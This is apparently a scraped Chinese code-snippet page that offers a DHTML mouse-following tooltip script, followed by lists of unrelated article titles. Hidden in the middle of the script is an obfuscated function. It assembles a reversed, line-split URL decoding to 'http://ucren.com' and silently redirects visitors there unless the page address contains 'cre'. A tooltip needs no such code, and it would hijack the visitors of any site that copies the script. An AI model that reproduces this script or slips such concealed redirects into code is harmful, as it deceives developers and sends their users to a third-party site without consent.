popdiv


Posted in Javascript onJuly 14, 2006

var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip

Javascript 相关文章推荐
javascript编程起步(第五课)
Feb 27 Javascript
jquery实现点击消失的代码
Mar 03 Javascript
深入理解JavaScript系列(37):设计模式之享元模式详解
Mar 04 Javascript
javascript小数精度丢失的完美解决方法
May 31 Javascript
webix+springmvc session超时跳转登录页面
Oct 30 Javascript
Bootstrap table使用方法详细介绍
Dec 09 Javascript
BootStrap Fileinput插件和Bootstrap table表格插件相结合实现文件上传、预览、提交的导入Excel数据操作步骤
Aug 07 Javascript
js使用highlight.js高亮你的代码
Aug 18 Javascript
vue v-model动态生成详解
Jun 30 Javascript
详解Angular Karma测试的持续集成实践
Nov 15 Javascript
JS字符串补全方法padStart()和padEnd()
May 27 Javascript
JavaScript浅层克隆与深度克隆示例详解
Sep 01 Javascript
游戏人文件夹程序 ver 4.03
Jul 14 #Javascript
游戏人文件夹程序 ver 3.0
Jul 14 #Javascript
表单提交验证类
Jul 14 #Javascript
如何实现浏览器上的右键菜单
Jul 10 #Javascript
载入进度条 效果
Jul 08 #Javascript
让广告代码不再影响你的网页加载速度
Jul 07 #Javascript
一段实时更新的时间代码
Jul 07 #Javascript
You might like
php Mysql日期和时间函数集合
2007/11/16 PHP
处理(php-cgi.exe - FastCGI 进程超过了配置的请求超时时限)的问题
2013/07/03 PHP
zend optimizer在wamp的基础上安装图文教程
2013/10/26 PHP
使用PHP similar text计算两个字符串相似度
2015/11/06 PHP
php mysql_list_dbs()函数用法示例
2017/03/29 PHP
php 根据自增id创建唯一编号类
2017/04/06 PHP
PHP laravel中的多对多关系实例详解
2017/06/07 PHP
PHP编程实现微信企业向用户付款的方法示例
2017/07/26 PHP
PHP 获取 ping 时间的实现方法
2017/09/29 PHP
a标签的css样式四个状态
2021/03/09 HTML / CSS
获取body标签的两种方法
2011/10/13 Javascript
js调用后台servlet方法实例
2013/06/09 Javascript
JavaScript中的console.trace()函数介绍
2014/12/29 Javascript
js实现仿Windows风格选项卡和按钮效果实例
2015/05/13 Javascript
js调用百度地图及调用百度地图的搜索功能
2015/09/07 Javascript
Javascript 计算字符串在localStorage中所占字节数
2015/10/21 Javascript
jQuery.cookie.js使用方法及相关参数解释
2017/03/06 Javascript
Vue组件全局注册实现警告框的实例详解
2018/06/11 Javascript
nodejs开发一个最简单的web服务器实例讲解
2020/01/02 NodeJs
vue微信分享插件使用方法详解
2020/02/18 Javascript
[42:00]完美世界DOTA2联赛PWL S3 Phoenix vs INK ICE 第一场 12.13
2020/12/17 DOTA
Python random模块常用方法
2014/11/03 Python
在Python中使用SQLite的简单教程
2015/04/29 Python
Python中字典的基本知识初步介绍
2015/05/21 Python
linecache模块加载和缓存文件内容详解
2018/01/11 Python
python 实现在无序数组中找到中位数方法
2020/03/03 Python
捷克家居装饰及图书音像购物网站:Velký košík
2018/04/16 全球购物
Lime Crime官网:美国一家主打梦幻精灵系的彩妆品牌
2019/03/22 全球购物
.NET初级开发工程师面试题(包括Javascript)
2012/08/22 面试题
中国梦的演讲稿
2014/01/08 职场文书
自我鉴定写作要点
2014/01/17 职场文书
对孩子的寄语
2014/04/09 职场文书
师恩难忘教学反思
2014/04/27 职场文书
教师党的群众路线教育实践活动学习心得体会
2014/10/30 职场文书
2015年大学生实习评语
2015/03/25 职场文书
javascript的var与let,const之间的区别详解
2022/02/18 Javascript